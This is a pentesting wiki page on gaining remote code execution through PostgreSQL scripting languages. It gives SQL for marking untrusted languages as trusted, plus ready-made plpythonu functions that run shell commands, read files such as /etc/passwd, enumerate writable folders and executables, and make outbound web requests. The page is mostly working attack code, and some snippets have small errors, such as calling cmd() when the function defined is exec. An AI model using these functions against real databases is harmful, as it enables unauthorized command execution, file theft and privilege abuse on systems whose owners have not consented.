# RCE with PostgreSQL Languages
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## PostgreSQL Languages
The PostgreSQL database you got access to may have different **scripting languages installed** that you could abuse to **execute arbitrary code**.
You can **get them running**:
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
Most of the scripting languages you can install in PostgreSQL have **2 flavours**: the **trusted** and the **untrusted**. The **untrusted** will have a name **ended in "u"** and will be the version that will allow you to **execute code** and use other interesting functions. This are languages that if installed are interesting:
* **plpythonu**
* **plpython3u**
* **plperlu**
* **pljavaU**
* **plrubyu**
* ... (any other programming language using an insecure version)
{% hint style="warning" %}
If you find that an interesting language is **installed** but **untrusted** by PostgreSQL (**`lanpltrusted`** is **`false`**) you can try to **trust it** with the following line so no restrictions will be applied by PostgreSQL:
```sql
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
```
{% endhint %}
{% hint style="danger" %}
If you don't see a language, you could try to load it with (**you need to be superadmin**):
```
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
```
{% endhint %}
Note that it's possible to compile the secure versions as "unsecure". Check [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) for example. So it's always worth trying if you can execute code even if you only find installed the **trusted** one.
## plpythonu/plpython3u
{% tabs %}
{% tab title="RCE" %}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
```
{% endtab %}
{% tab title="Get OS user" %}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
```
{% endtab %}
{% tab title="List dir" %}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
```
{% endtab %}
{% tab title="Find W folder" %}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{% endtab %}
{% tab title="Find File" %}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
```
{% endtab %}
{% tab title="Find executables" %}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
```
{% endtab %}
{% tab title="Find exec by subs" %}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
```
{% endtab %}
{% tab title="Read" %}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
```
{% endtab %}
{% tab title="Get perms" %}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
```
{% endtab %}
{% tab title="Request" %}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
```
{% endtab %}
{% endtabs %}
## pgSQL
Check the following page:
{% content-ref url="pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}
## C
Check the following page:
{% content-ref url="rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
{% endcontent-ref %}
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